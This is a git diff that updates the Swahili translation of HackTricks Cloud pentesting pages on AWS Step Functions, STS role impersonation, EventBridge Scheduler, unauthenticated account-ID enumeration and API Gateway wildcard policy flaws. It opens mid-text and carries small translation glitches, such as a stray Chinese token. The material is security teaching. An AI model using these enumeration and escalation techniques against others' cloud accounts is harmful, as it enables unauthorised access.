**utendaji wa mara moja tu**, kuhakikisha kazi zinafanyika mara moja tu isipokuwa ikiwa marejeo yameainishwa. Ni bora kwa michakato inayohitaji historia ya kina ya utendaji na inaweza kuendesha kwa muda wa hadi mwaka mmoja. +- **Standard Workflow**: Aina hii ya mchakato wa kawaida imeundwa kwa ajili ya michakato ya muda mrefu, ya kudumu, na inayoweza kukaguliwa. Inasaidia **utendaji wa mara moja tu**, kuhakikisha kazi zinafanyika mara moja tu isipokuwa ikiwa kurudiwa kumetajwa. Ni bora kwa michakato inayohitaji historia ya kina ya utendaji na inaweza kuendesha kwa muda wa hadi mwaka mmoja. - **Express Workflow**: Aina hii ni bora kwa kazi zenye kiasi kikubwa, za muda mfupi, zinazoendesha hadi dakika tano. Zinasaidia **utendaji wa angalau mara moja**, zinazofaa kwa kazi zisizobadilika kama usindikaji wa data. Michakato hii imeboreshwa kwa gharama na utendaji, ikitoza kulingana na utendaji, muda, na matumizi ya kumbukumbu. ### States -Hali ni vitengo muhimu vya mashine za hali. Zinabainisha hatua za kibinafsi ndani ya mchakato, zikiwa na uwezo wa kutekeleza kazi mbalimbali kulingana na aina yake: +Hali ni vitengo muhimu vya mashine za hali. Zinafafanua hatua za kibinafsi ndani ya mchakato, zikiwa na uwezo wa kutekeleza kazi mbalimbali kulingana na aina yake: - **Task:** Inatekeleza kazi, mara nyingi ikitumia huduma ya AWS kama Lambda. - **Choice:** Inafanya maamuzi kulingana na ingizo. - **Fail/Succeed:** Inamaliza utendaji kwa kushindwa au kufanikiwa. - **Pass:** Inapitisha ingizo kwa pato au kuingiza data. -- **Wait:** Inachelewesha utendaji kwa muda fulani. +- **Wait:** Inachelewesha utendaji kwa muda uliowekwa. - **Parallel:** Inaanzisha matawi ya sambamba. -- **Map:** Inarudiarudia hatua kwa vitu. +- **Map:** Inarudia hatua kwa vitu kwa njia ya dinamik. ### Task @@ -56,8 +56,8 @@ Mfano ufuatao unaonyesha ufafanuzi wa hali ya Task inayokita kazi ya Lambda inay A **Choice** state adds conditional logic to a workflow, enabling decisions based on input data. It evaluates the specified conditions and transitions to the corresponding state based on the results. -- **Comparison**: Kila sheria ya uchaguzi inajumuisha opereta wa kulinganisha (e.g., **`NumericEquals`**, **`StringEquals`**) inayolinganisha kigezo cha ingizo na thamani iliyoainishwa au kigezo kingine. -- **Next Field**: Mstates za uchaguzi hazisaidii uwanja wa **`End`**, badala yake, zinafafanua hali ya **`Next`** ya kuhamia ikiwa kulinganisha ni kweli. +- **Comparison**: Kila sheria ya uchaguzi inajumuisha opereta wa kulinganisha (e.g., **`NumericEquals`**, **`StringEquals`**) inayolinganisha kigezo cha ingizo na thamani iliyotolewa au kigezo kingine. +- **Next Field**: Mstates za uchaguzi hazisaidii uwanja wa **`End`**, badala yake, zin定义 **`Next`** state ya kuhamia ikiwa kulinganisha ni kweli. Example of **Choice** state: ```json @@ -95,7 +95,7 @@ A **`Succeed`** state stops the execution successfully. It is typically used to ### Pass -A **Pass** state inapitisha ingizo lake kwa pato lake bila kufanya kazi yoyote au kubadilisha ingizo la hali ya JSON kwa kutumia filters, na kisha kupeleka data iliyobadilishwa kwa hali inayofuata. Inasaidia katika kujaribu na kujenga mashine za hali, ikikuruhusu kuingiza data ya kudumu au kuibadilisha. +A **Pass** state inapitisha ingizo lake kwa pato lake bila kufanya kazi yoyote au kubadilisha ingizo la hali ya JSON kwa kutumia filters, kisha inapitisha data iliyobadilishwa kwa hali inayofuata. Ni muhimu kwa kupima na kujenga mashine za hali, ikiruhusu kuingiza data ya kudumu au kuibadilisha. ```json "PassState": { "Type": "Pass", @@ -106,9 +106,9 @@ A **Pass** state inapitisha ingizo lake kwa pato lake bila kufanya kazi yoyote a ``` ### Wait -A **Wait** state delays the execution of the state machine for a specified duration. There are three primary methods to configure the wait time: +A **Wait** state inachelewesha utekelezaji wa mashine ya hali kwa muda ulioainishwa. Kuna mbinu tatu kuu za kuunda muda wa kusubiri: -- **X Seconds**: Idadi maalum ya sekunde za kusubiri. +- **X Seconds**: Nambari thabiti ya sekunde za kusubiri. ```json "WaitState": { @@ -128,7 +128,7 @@ A **Wait** state delays the execution of the state machine for a specified durat } ``` -- **Dynamic Wait**: Kulingana na input kutumia **`SecondsPath`** au **`TimestampPath`**. +- **Dynamic Wait**: Kulingana na input kwa kutumia **`SecondsPath`** au **`TimestampPath`**. ```json jsonCopiar código @@ -141,10 +141,10 @@ jsonCopiar código ### Parallel -A **Parallel** state allows you to execute multiple branches of tasks concurrently within your workflow. Each branch runs independently and processes its own sequence of states. The execution waits until all branches complete before proceeding to the next state. Its key fields are: +A **Parallel** state inaruhusu kutekeleza matawi mengi ya kazi kwa wakati mmoja ndani ya mtiririko wako wa kazi. Kila tawi linafanya kazi kwa uhuru na linafanya mchakato wa hali zake mwenyewe. Utekelezaji unasubiri hadi matawi yote yakamilike kabla ya kuendelea na hali inayofuata. Sehemu zake kuu ni: -- **Branches**: Mfululizo unaofafanua njia za utekelezaji wa sambamba. Kila tawi ni mashine ya hali tofauti. -- **ResultPath**: Inafafanua wapi (katika input) kuweka matokeo yaliyochanganywa ya matawi. +- **Branches**: Array inayofafanua njia za utekelezaji wa sambamba. Kila tawi ni mashine tofauti ya hali. +- **ResultPath**: Inafafanua wapi (katika input) kuweka matokeo yaliyojumuishwa ya matawi. - **Retry and Catch**: Mipangilio ya kushughulikia makosa kwa hali ya sambamba. ```json "ParallelState": { @@ -164,9 +164,9 @@ A **Parallel** state allows you to execute multiple branches of tasks concurrent ``` ### Ramani -A **Ramani** hali inaruhusu utekelezaji wa seti ya hatua kwa kila kipengee katika dataset. Inatumika kwa usindikaji wa data kwa wakati mmoja. Kulingana na jinsi unavyotaka kusindika vipengee vya dataset, Step Functions inatoa njia zifuatazo: +Hali ya **Ramani** inaruhusu utekelezaji wa seti ya hatua kwa kila kipengee katika dataset. Inatumika kwa usindikaji wa data kwa wakati mmoja. Kulingana na jinsi unavyotaka kusindika vipengee vya dataset, Step Functions inatoa njia zifuatazo: -- **Njia ya Ndani**: Inatekeleza subset ya hali kwa kila kipengee cha JSON array. Inafaa kwa kazi ndogo zenye chini ya kurudi 40 kwa wakati mmoja, ikikimbia kila moja katika muktadha wa workflow inayojumuisha hali ya **`Ramani`**. +- **Njia ya Ndani**: Inatekeleza subset ya hali kwa kila kipengee cha JSON array. Inafaa kwa kazi ndogo zenye iterations zisizozidi 40, ikikimbia kila moja katika muktadha wa workflow inayojumuisha hali ya **`Ramani`**. ```json "MapState": { @@ -195,7 +195,7 @@ A **Ramani** hali inaruhusu utekelezaji wa seti ya hatua kwa kila kipengee katik } ``` -- **Njia Iliyosambazwa**: Imeundwa kwa usindikaji wa wakati mmoja kwa kiwango kikubwa na ufanisi wa juu. Inasaidia usindikaji wa datasets kubwa, kama zile zilizohifadhiwa katika Amazon S3, ikiruhusu ufanisi wa juu wa hadi 10,000 ya utekelezaji wa watoto wa workflow, ikikimbia watoto hawa kama utekelezaji wa mtoto tofauti. +- **Njia Iliyosambazwa**: Imeundwa kwa ajili ya usindikaji wa wakati mmoja kwa kiwango kikubwa na concurrency ya juu. Inasaidia usindikaji wa datasets kubwa, kama zile zilizohifadhiwa katika Amazon S3, ikiruhusu concurrency ya juu ya hadi 10,000 ya utekelezaji wa workflow wa watoto, ikikimbia watoto hawa kama utekelezaji wa mtoto tofauti. ```json "DistributedMapState": { @@ -234,12 +234,12 @@ A **Ramani** hali inaruhusu utekelezaji wa seti ya hatua kwa kila kipengee katik ### Matoleo na majina -Step Functions pia inakuwezesha kusimamia utekelezaji wa workflow kupitia **matoleo** na **majina** ya mashine za hali. Toleo linawakilisha picha ya mashine ya hali ambayo inaweza kutekelezwa. Majina yanatumika kama viashiria kwa matoleo mawili ya mashine ya hali. +Step Functions pia inakuwezesha kudhibiti utekelezaji wa workflow kupitia **matoleo** na **majina** ya mashine za hali. Toleo linawakilisha picha ya mashine ya hali ambayo inaweza kutekelezwa. Majina hutumikia kama viashiria vya matoleo mawili ya mashine ya hali. -- **Matoleo**: Picha hizi zisizobadilika za mashine ya hali zinaundwa kutoka kwa toleo la hivi karibuni la mashine hiyo ya hali. Kila toleo linatambulishwa na ARN ya kipekee inayounganisha ARN ya mashine ya hali na nambari ya toleo, iliyotenganishwa na koloni (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:version-number`**). Matoleo hayawezi kubadilishwa, lakini unaweza kuboresha mashine ya hali na kuchapisha toleo jipya, au kutumia toleo la mashine ya hali unayotaka. +- **Matoleo**: Picha hizi zisizobadilika za mashine ya hali zinaundwa kutoka kwa toleo la hivi karibuni la mashine hiyo ya hali. Kila toleo linatambulishwa na ARN ya kipekee inayounganisha ARN ya mashine ya hali na nambari ya toleo, iliyotenganishwa na koloni (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:version-number`**). Matoleo hayawezi kubadilishwa, lakini unaweza kuboresha mashine ya hali na kuchapisha toleo jipya, au kutumia toleo la mashine ya hali unalotaka. - **Majina**: Viashiria hivi vinaweza kurejelea hadi matoleo mawili ya mashine moja ya hali. Majina mengi yanaweza kuundwa kwa mashine moja ya hali, kila moja ikitambulishwa na ARN ya kipekee iliyoundwa kwa kuunganisha ARN ya mashine ya hali na jina la jina, iliyotenganishwa na koloni (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:aliasName`**). Majina yanaruhusu kuelekeza trafiki kati ya moja ya matoleo mawili ya mashine ya hali. Vinginevyo, jina linaweza kuelekeza kwenye toleo moja maalum la mashine ya hali, lakini si kwenye majina mengine. Yanweza kuboreshwa ili kuelekeza kwenye toleo tofauti la mashine ya hali kadri inavyohitajika, kurahisisha utekelezaji wa kudhibitiwa na usimamizi wa workflow. -Kwa maelezo zaidi kuhusu **ASL**, angalia: [**Lugha ya Jimbo la Amazon**](https://states-language.net/spec.html). +Kwa maelezo zaidi kuhusu **ASL**, angalia: [**Amazon States Language**](https://states-language.net/spec.html). ## Majukumu ya IAM kwa Mashine za Hali @@ -248,9 +248,9 @@ AWS Step Functions inatumia majukumu ya AWS Identity and Access Management (IAM) - **Jukumu la Utekelezaji**: Kila mashine ya hali katika AWS Step Functions inahusishwa na jukumu la IAM la utekelezaji. Jukumu hili linaeleza vitendo gani mashine ya hali inaweza kutekeleza kwa niaba yako. Wakati mashine ya hali inahamia kati ya hali zinazoshirikiana na huduma za AWS (kama vile kuita kazi za Lambda, kufikia DynamoDB, nk), inachukua jukumu hili la utekelezaji ili kutekeleza vitendo hivyo. - **Ruhusa**: Jukumu la utekelezaji la IAM lazima liwe limeundwa na ruhusa zinazoruhusu vitendo vinavyohitajika kwenye huduma nyingine za AWS. Kwa mfano, ikiwa mashine yako ya hali inahitaji kuita kazi za AWS Lambda, jukumu la IAM lazima liwe na ruhusa za **`lambda:InvokeFunction`**. Vivyo hivyo, ikiwa inahitaji kuandika kwenye DynamoDB, ruhusa zinazofaa (**`dynamodb:PutItem`**, **`dynamodb:UpdateItem`**, nk.) lazima zipewe. -## Uainishaji +## Uhesabu -Sera ya ReadOnlyAccess inatosha kwa vitendo vyote vya uainishaji vifuatavyo. +Sera ya ReadOnlyAccess inatosha kwa vitendo vyote vya uhesabu vifuatavyo. ```bash # State machines # diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md index ca22a5283..eae50435c 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md @@ -4,15 +4,15 @@ ## STS -**AWS Security Token Service (STS)** imeundwa hasa kutoa **vithibitisho vya muda mfupi, vya mamlaka ya chini**. Vithibitisho hivi vinaweza kuombwa kwa **AWS Identity and Access Management (IAM)** watumiaji au kwa watumiaji walioidhinishwa (watumiaji wa shirikisho). +**AWS Security Token Service (STS)** imeundwa hasa kutoa **akidi za muda mfupi, zenye mamlaka ya kikomo**. Akidi hizi zinaweza kuombwa kwa **AWS Identity and Access Management (IAM)** watumiaji au kwa watumiaji walioidhinishwa (watumiaji wa shirikisho). -Kwa kuwa kusudi la STS ni **kutoa vithibitisho kwa ajili ya kuiga utambulisho**, huduma hii ni ya thamani kubwa kwa **kuongeza mamlaka na kudumisha uthibitisho**, ingawa huenda isiwe na chaguzi nyingi. +Kwa kuwa lengo la STS ni **kutoa akidi za kuiga utambulisho**, huduma hii ni ya thamani kubwa kwa **kuongeza mamlaka na kudumisha uthibitisho**, ingawa huenda isiwe na chaguzi nyingi. ### Assume Role Impersonation -Kitendo [AssumeRole](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) kinachotolewa na AWS STS ni muhimu kwani kinamruhusu mhusika kupata vithibitisho vya mhusika mwingine, kimsingi akijifanya kuwa wao. Baada ya kuitwa, inajibu kwa kitambulisho cha ufikiaji, funguo ya siri, na tokeni ya kikao inayolingana na ARN iliyotolewa. +Kitendo [AssumeRole](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) kinachotolewa na AWS STS ni muhimu kwani kinamruhusu mkuu kupata akidi za mkuu mwingine, kwa msingi wa kuiga wao. Mara tu inapotumika, inajibu kwa kitambulisho cha ufikiaji, funguo ya siri, na tokeni ya kikao inayolingana na ARN iliyotolewa. -Kwa Wajaribu Udukuzi au wanachama wa Timu Nyekundu, mbinu hii ni muhimu kwa kuongeza mamlaka (kama ilivyoelezwa [**hapa**](../aws-privilege-escalation/aws-sts-privesc.md#sts-assumerole)). Hata hivyo, inafaa kutambua kuwa mbinu hii ni wazi sana na huenda isimshughulishe mshambuliaji kwa kushangaza. +Kwa Wajaribu Upenyo au wanachama wa Red Team, mbinu hii ni muhimu kwa kuongeza mamlaka (kama ilivyoelezwa [**hapa**](../aws-privilege-escalation/aws-sts-privesc.md#sts-assumerole)). Hata hivyo, inafaa kutambua kuwa mbinu hii ni wazi sana na huenda isimkamate mshambuliaji kwa mshangao. #### Assume Role Logic @@ -34,7 +34,7 @@ Ili kuweza kuchukua jukumu katika akaunti hiyo hiyo ikiwa **jukumu la kuchukua l ``` Jukumu **`priv-role`** katika kesi hii, **halihitaji ruhusa maalum** ili kuchukua jukumu hilo (ikiwa na ruhusa hiyo inatosha). -Hata hivyo, ikiwa jukumu linaruhusu akaunti kuchukua jukumu hilo, kama katika: +Hata hivyo, ikiwa jukumu linaruhusu akaunti kuchukua jukumu hilo, kama ilivyo katika: ```json { "Version": "2012-10-17", @@ -50,11 +50,11 @@ Hata hivyo, ikiwa jukumu linaruhusu akaunti kuchukua jukumu hilo, kama katika: ] } ``` -Ili kujaribu kuchukua jukumu, itahitaji **idhini maalum ya `sts:AssumeRole`** juu ya hilo jukumu **ili kulichukua**. +Jukumu linalojaribu kuchukuliwa litahitaji **idhini maalum ya `sts:AssumeRole`** juu ya jukumu hilo **ili kulichukua**. -Ikiwa unajaribu kuchukua **jukumu** **kutoka kwa akaunti tofauti**, **jukumu lililochukuliwa lazima liruhusu** (kuashiria **ARN** ya jukumu au **akaunti ya nje**), na **jukumu linalojaribu kuchukua** jingine **Lazima** liwe na **idhini za kulichukua** (katika kesi hii hii si hiari hata kama jukumu lililochukuliwa linaashiria ARN). +Ikiwa unajaribu kuchukua **jukumu** **kutoka kwa akaunti tofauti**, **jukumu lililochukuliwa lazima liruhusu** (kuashiria **ARN** ya jukumu au **akaunti ya nje**), na **jukumu linalojaribu kuchukua** jingine **Lazima** liwe na **idhini za kulichukua** (katika kesi hii hii si hiari hata kama jukumu lililochukuliwa linabainisha ARN). -### Enumeration +### Uhesabuji ```bash # Get basic info of the creds aws sts get-caller-identity diff --git a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md index 86a4d152a..db620ec93 100644 --- a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md @@ -6,28 +6,28 @@ ## EventBridge Scheduler -**Amazon EventBridge Scheduler** ni mpangilio wa **serverless ulio na usimamizi kamili, ulioandaliwa kuunda, kuendesha, na kusimamia kazi** kwa kiwango kikubwa. Inakuwezesha kupanga mamilioni ya kazi katika zaidi ya huduma 270 za AWS na operesheni 6,000+ za API, zote kutoka huduma moja kuu. Kwa uaminifu uliojengwa na hakuna miundombinu ya kusimamia, EventBridge Scheduler inarahisisha upangaji, inapunguza gharama za matengenezo, na inapanuka kiotomatiki ili kukidhi mahitaji. Unaweza kuunda cron au viwango vya mara kwa mara kwa mipango ya kurudiwa, kuweka mwito wa mara moja, na kufafanua dirisha la usambazaji linaloweza kubadilishwa na chaguzi za kujaribu, kuhakikisha kazi zinawasilishwa kwa uaminifu kulingana na upatikanaji wa malengo ya chini. +**Amazon EventBridge Scheduler** ni mpangilio wa huduma, **usio na seva ulioandaliwa kikamilifu wa kuunda, kuendesha, na kusimamia kazi** kwa kiwango. Inakuwezesha kupanga mamilioni ya kazi katika zaidi ya huduma 270 za AWS na operesheni zaidi ya 6,000 za API, zote kutoka kwa huduma moja kuu. Kwa uaminifu uliojengwa na hakuna miundombinu ya kusimamia, EventBridge Scheduler inarahisisha kupanga, inapunguza gharama za matengenezo, na inapanuka kiotomatiki ili kukidhi mahitaji. Unaweza kuunda cron au viwango vya kiwango kwa mipangilio ya kurudiwa, kuweka mwito wa mara moja, na kufafanua dirisha la usambazaji linaloweza kubadilishwa na chaguzi za kujaribu, kuhakikisha kazi zinawasilishwa kwa uaminifu kulingana na upatikanaji wa malengo ya chini. -Kuna kikomo cha awali cha mipango 1,000,000 kwa kila eneo kwa kila akaunti. Hata ukurasa rasmi wa vikomo unashauri, "Inapendekezwa kufuta mipango ya mara moja mara tu inapokamilika." +Kuna kikomo cha awali cha mipangilio 1,000,000 kwa kila eneo kwa kila akaunti. Hata ukurasa rasmi wa quota unashauri, "Inapendekezwa kufuta mipangilio ya mara moja mara tu inapokamilika." -### Aina za Mipango +### Aina za Mipangilio -Aina za Mipango katika EventBridge Scheduler: +Aina za Mipangilio katika EventBridge Scheduler: -1. **Mipango ya mara moja** – Tekeleza kazi kwa wakati maalum, mfano, Desemba 21 saa 7 AM UTC. -2. **Mipango ya msingi wa kiwango** – Weka kazi zinazorudiwa kulingana na mzunguko, mfano, kila masaa 2. -3. **Mipango ya msingi wa cron** – Weka kazi zinazorudiwa kwa kutumia mwelekeo wa cron, mfano, kila Ijumaa saa 4 PM. +1. **Mipangilio ya mara moja** – Tekeleza kazi kwa wakati maalum, mfano, Desemba 21 saa 7 AM UTC. +2. **Mipangilio ya msingi wa kiwango** – Weka kazi zinazorudiwa kulingana na mzunguko, mfano, kila masaa 2. +3. **Mipangilio ya msingi wa cron** – Weka kazi zinazorudiwa kwa kutumia mwelekeo wa cron, mfano, kila Ijumaa saa 4 PM. -Mekanismu Mbili za Kushughulikia Matukio Yaliyo Fail: +Mekanismu Mbili za Kushughulikia Matukio Yaliyoanguka: -1. **Sera ya Kujaribu** – Inaelezea idadi ya majaribio ya kujaribu kwa tukio lililo fail na ni muda gani kuweka bila kushughulikiwa kabla ya kulichukulia kama kushindwa. -2. **Mstari wa Barua za Kufa (DLQ)** – Mstari wa kawaida wa Amazon SQS ambapo matukio yaliyo fail yanawasilishwa baada ya majaribio kuisha. DLQs husaidia katika kutatua matatizo na mpango wako au lengo lake la chini. +1. **Sera ya Kujaribu** – Inaeleza idadi ya majaribio ya kujaribu kwa tukio lililoanguka na ni muda gani litahifadhiwa bila kusindika kabla ya kulichukulia kama kushindwa. +2. **Mstari wa Barua za Kufa (DLQ)** – Mstari wa kawaida wa Amazon SQS ambapo matukio yaliyoanguka yanawasilishwa baada ya majaribio kumalizika. DLQs husaidia katika kutatua matatizo na mpangilio wako au lengo lake la chini. ### Malengo -Kuna aina 2 za malengo kwa mpangilio [**ya mfano (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html), ambazo hutumiwa mara nyingi na AWS imeziwezesha kuwa rahisi kuunda, na [**za ulimwengu (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html), ambazo zinaweza kutumika kuita API yoyote ya AWS. +Kuna aina 2 za malengo kwa mpangilio [**templated (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html), ambazo hutumiwa mara nyingi na AWS imeziwezesha kuwa rahisi kuunda, na [**universal (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html), ambazo zinaweza kutumika kuita API yoyote ya AWS. -**Malengo ya mfano** yanasaidia huduma zifuatazo: +**Malengo ya templated** yanasaidia huduma zifuatazo: - CodeBuild – StartBuild - CodePipeline – StartPipelineExecution @@ -72,7 +72,7 @@ Katika ukurasa ufuatao, unaweza kuangalia jinsi ya **kudhulumu ruhusa za eventbr ../aws-privilege-escalation/eventbridgescheduler-privesc.md {{#endref}} -## References +## Marejeleo - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/what-is-scheduler.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/what-is-scheduler.html) diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md index a8b936ac8..5887d5aec 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md @@ -13,7 +13,7 @@ Zana kadhaa muhimu: ## AWS Unauthenticated Enum & Access -Kuna huduma kadhaa katika AWS ambazo zinaweza kuwekewa mipangilio ikitoa aina fulani ya ufikiaji kwa watu wote kwenye Mtandao au kwa watu zaidi ya walivyotarajia. Angalia hapa jinsi: +Kuna huduma kadhaa katika AWS ambazo zinaweza kuwekwa ili kutoa aina fulani ya ufikiaji kwa watu wote kwenye mtandao au kwa watu zaidi ya walivyotarajia. Angalia hapa jinsi: - [**Accounts Unauthenticated Enum**](aws-accounts-unauthenticated-enum.md) - [**Cloud9 Unauthenticated Enum**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) @@ -36,7 +36,7 @@ Kuna huduma kadhaa katika AWS ambazo zinaweza kuwekewa mipangilio ikitoa aina fu ## Cross Account Attacks -Katika mazungumzo [**Breaking the Isolation: Cross-Account AWS Vulnerabilities**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) inawasilishwa jinsi huduma fulani zinavyoruhusu akaunti yoyote ya AWS kuziingia kwa sababu **AWS services bila kubainisha accounts ID** zilikuwa zinaruhusiwa. +Katika mazungumzo [**Breaking the Isolation: Cross-Account AWS Vulnerabilities**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) inawasilishwa jinsi huduma fulani zinavyoruhusu akaunti yoyote ya AWS kuziingia kwa sababu **AWS services bila kubainisha account ID** zilikuwa zinaruhusiwa. Wakati wa mazungumzo wanabainisha mifano kadhaa, kama vile S3 buckets **zinazoruhusu cloudtrail** (ya **akaunti yoyote ya AWS**) **kuandika ndani yao**: @@ -49,6 +49,6 @@ Huduma nyingine zilizopatikana kuwa na udhaifu: ## Tools -- [**cloud_enum**](https://github.com/initstring/cloud_enum): Zana ya OSINT ya multi-cloud. **Pata rasilimali za umma** katika AWS, Azure, na Google Cloud. Huduma za AWS zinazoungwa mkono: Open / Protected S3 Buckets, awsapps (WorkMail, WorkDocs, Connect, nk.) +- [**cloud_enum**](https://github.com/initstring/cloud_enum): Zana ya Multi-cloud OSINT. **Pata rasilimali za umma** katika AWS, Azure, na Google Cloud. Huduma za AWS zinazoungwa mkono: Open / Protected S3 Buckets, awsapps (WorkMail, WorkDocs, Connect, nk.) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md index 3908f6f11..bf58b5df0 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md @@ -8,7 +8,7 @@ Ikiwa una lengo kuna njia za kujaribu kubaini nambari za akaunti za akaunti zina ### Brute-Force -Unaunda orodha ya nambari za akaunti zinazowezekana na majina na kuziangalia. +Unaunda orodha ya nambari za akaunti zinazoweza na majina na kuziangalia. ```bash # Check if an account ID exists curl -v https://.signin.aws.amazon.com @@ -34,7 +34,7 @@ Ikiwa muuzaji ana **instances katika soko,** unaweza kupata id ya mmiliki (accou ### Errors -Ujumbe mwingi wa makosa ya AWS (hata ufikiaji umekataliwa) utatoa taarifa hiyo. +Ujumbe mwingi wa makosa ya AWS (hata ufikiaji umekataliwa) utaeleza hiyo taarifa. ## References diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md index 652273cde..ca294a49c 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md @@ -19,32 +19,32 @@ Kulingana na mazungumzo [Attack Vectors for APIs Using AWS API Gateway Lambda Au ] } ``` -The problem with this way to give permissions to invoke endpoints is that the **"\*" implies "anything"** and there is **no more regex syntax supported**. +Tatizo na njia hii ya kutoa ruhusa za kuita mwisho ni kwamba **"\*" inamaanisha "chochote"** na **hakuna sintaksia nyingine ya regex inayoungwa mkono**. -Some examples: +Mifano kadhaa: -- A rule such as `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` in order to give each user access to `/dashboard/user/{username}` will give them access to other routes such as `/admin/dashboard/createAdmin` for example. +- Kanuni kama `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` ili kuwapa kila mtumiaji ufikiaji wa `/dashboard/user/{username}` itawapa ufikiaji wa njia nyingine kama `/admin/dashboard/createAdmin` kwa mfano. > [!WARNING] -> Note that **"\*" doesn't stop expanding with slashes**, therefore, if you use "\*" in api-id for example, it could also indicate "any stage" or "any method" as long as the final regex is still valid.\ -> So `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\ -> Can validate a post request to test stage to the path `/prod/GET/dashboard/admin` for example. +> Kumbuka kwamba **"\*" haizuii kupanuka kwa slashes**, kwa hivyo, ikiwa unatumia "\*" katika api-id kwa mfano, inaweza pia kuashiria " hatua yoyote" au "mbinu yoyote" mradi tu regex ya mwisho bado ni halali.\ +> Hivyo `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\ +> Inaweza kuthibitisha ombi la posta kwa hatua ya majaribio kwa njia `/prod/GET/dashboard/admin` kwa mfano. -You should always have clear what you want to allow to access and then check if other scenarios are possible with the permissions granted. +Unapaswa kila wakati kuwa wazi kuhusu kile unachotaka kuruhusu kufikia na kisha kuangalia ikiwa hali nyingine zinaweza kutokea na ruhusa zilizotolewa. -For more info, apart of the [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), you can find code to implement authorizers in [**this official aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints). +Kwa maelezo zaidi, mbali na [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), unaweza kupata msimbo wa kutekeleza waidhinishi katika [**hii rasmi aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints). -### IAM Policy Injection +### Uingizaji wa Sera za IAM -In the same [**talk** ](https://www.youtube.com/watch?v=bsPKk7WDOnE)it's exposed the fact that if the code is using **user input** to **generate the IAM policies**, wildcards (and others such as "." or specific strings) can be included in there with the goal of **bypassing restrictions**. +Katika [**mazungumzo** ](https://www.youtube.com/watch?v=bsPKk7WDOnE) hiyo inafichua ukweli kwamba ikiwa msimbo unatumia **ingizo la mtumiaji** ili **kuunda sera za IAM**, wildcards (na wengine kama "." au nyuzi maalum) zinaweza kujumuishwa humo kwa lengo la **kuzidi vizuizi**. -### Public URL template +### Kiolezo cha URL ya Umma ``` https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided} ``` -### Pata Kitambulisho cha Akaunti kutoka kwa URL ya API Gateway ya Umma +### Pata Kitambulisho cha Akaunti kutoka kwa URL ya API Gateway ya umma -Kama ilivyo kwa ndoo za S3, Data Exchange na URL za Lambda gateways, inawezekana kupata kitambulisho cha akaunti ya akaunti kwa kutumia **`aws:ResourceAccount`** **Policy Condition Key** kutoka kwa URL ya API Gateway ya umma. Hii inafanywa kwa kupata kitambulisho cha akaunti moja herufi kwa wakati kwa kutumia wildcards katika sehemu ya **`aws:ResourceAccount`** ya sera.\ +Kama ilivyo kwa ndoo za S3, Data Exchange na URL za Lambda gateways, inawezekana kupata kitambulisho cha akaunti ya akaunti kwa kutumia **`aws:ResourceAccount`** **Policy Condition Key** kutoka kwa URL ya API Gateway ya umma. Hii inafanywa kwa kupata kitambulisho cha akaunti moja kwa moja kwa kutumia wildcards katika sehemu ya **`aws:ResourceAccount`** ya sera.\ Teknolojia hii pia inaruhusu kupata **maadili ya lebo** ikiwa unajua ufunguo wa lebo (kuna baadhi ya zile za kawaida zinazovutia). Unaweza kupata maelezo zaidi katika [**utafiti wa asili**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) na zana 